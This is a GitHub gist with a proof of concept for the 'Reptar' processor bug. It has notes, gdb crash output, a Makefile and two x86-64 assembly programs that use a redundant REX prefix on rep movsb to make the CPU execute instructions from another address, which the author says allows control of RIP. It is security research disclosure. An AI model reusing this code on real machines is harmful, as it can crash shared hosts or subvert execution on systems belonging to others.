Skip to content

Instantly share code, notes, and snippets.

@sirdarckcat
Last active November 19, 2023 22:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sirdarckcat/454d889f2441806c14e8ac46c759e847 to your computer and use it in GitHub Desktop.
Save sirdarckcat/454d889f2441806c14e8ac46c759e847 to your computer and use it in GitHub Desktop.
reptar smaller poc

The distance from reptar_alias to reptar is the same as the distance from loop_only_on_bug to reptar.

Adding a nop after .reptar: increases the difference by 2 bytes.

Example output:

Program received signal SIGSEGV, Segmentation fault.
0x00000000004010c3 in _start.after_reptar_alias ()
0x7fffffffcfd0: 0x0000000000000000      0x0000000000000007
0x7fffffffcfe0: 0x0000000000401013      0x0000000000000033
0x7fffffffcff0: 0x0000000000401040      0x0000000000000033
0x7fffffffd000: 0x0000000000401145      0x0000000000000007
0x7fffffffd010: 0x0000000000401013      0x0000000000000033
   0x4010c2 <_start.reptar_alias+2>:    nop
=> 0x4010c3 <_start.after_reptar_alias>:        int3
   0x4010c4 <_start.after_reptar_alias+1>:      int3

Behavior seems to indicate that the CPU executes instructions at the address reptar+N using the instructions from loop_only_on_bug+N. This behavior was first observed by Salman Qazi.

The behavior is recursive, (see rexit_continue.asm). So this allows you to execute code on a controlled RIP of your choosing.

#!/bin/bash
make && gdb ./rexit -ex r -ex 'x/10gx $rsp' -ex 'x/3i $pc-1' -ex q
rexit: rexit.o
ld $^ -o $@
rexit.o: rexit.asm
nasm -f elf64 $^ -o $@
clean:
rm -rf rexit.o rexit
BITS 64
global _start
section .data
data: times 128 db 0
section .text
_start:
mov cl, 7
mov eax, data
.loop_for_every_iteration:
mov rbx, cs
push rbx
push .loop_only_on_bug
call far [rsp]
.return_from_far_call:
align 64
.loop_only_on_bug:
push rcx
clflush [rax]
clflush [rax+64]
mov rsi, 0
cmp cl, 7
cmove rsi, rax ; only make a valid move if rcx is 7
mov rdi, data
mov cl, 1
align 64
.reptar:
rep
db 0x44; rex.r
movsb
; WHEN THE BUG TRIGGERS NOTHING BELOW HERE EXECUTES
; the instructions at loop_only_on_bug execute instead
; and the instruction pointer as seen by interrupts is
; the one as if the execution continued below
.after_reptar:
rep
times 4 nop
jmp .skip_reptar_alias
align 64
; this is aligned to match the rep rex.r movsb instruction
.reptar_alias:
nop;rep
nop;rex.r
nop;movsb
; we cause a segfault on movsb above (by cmov rsi) but RIP will
; point here instead on the segfault.
.after_reptar_alias:
times 100 int3
.skip_reptar_alias:
mov cl, 7
align 32
call .loop_for_every_iteration
.end_of_program:
nop
BITS 64
global _start
section .data
data: times 128 db 0
section .text
_start:
clflush [0x402000]
mov cl, 7
mov eax, data
mov rbx, cs
xor r8, r8
push rbx
push .loop_only_on_bug
push 1
push 1
.loop_for_every_iteration:
pop rbx
pop rbx
call far [rsp]
.return_from_far_call:
align 64
.loop_only_on_bug:
inc r8
clflush [rax]
clflush [rax+64]
mov rsi, 0
cmp cl, 71
cmovne rsi, rax
mov rdi, data
mov cl, 1
align 64
.reptar:
rep
db 0x44; rex.r
movsb
.after_reptar:
rep
times 4 nop
jmp .skip_reptar_alias
align 64
.reptar_alias:
int3;rep
int3;rex.r
int3;movsb
.after_reptar_alias:
hlt; this doesnt fault because the cmovne always happens so the rep movsb is always valid
times 100 nop
.skip_reptar_alias:
mov cl, 7
align 32
jmp .loop_for_every_iteration
.end_of_program:
nop
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment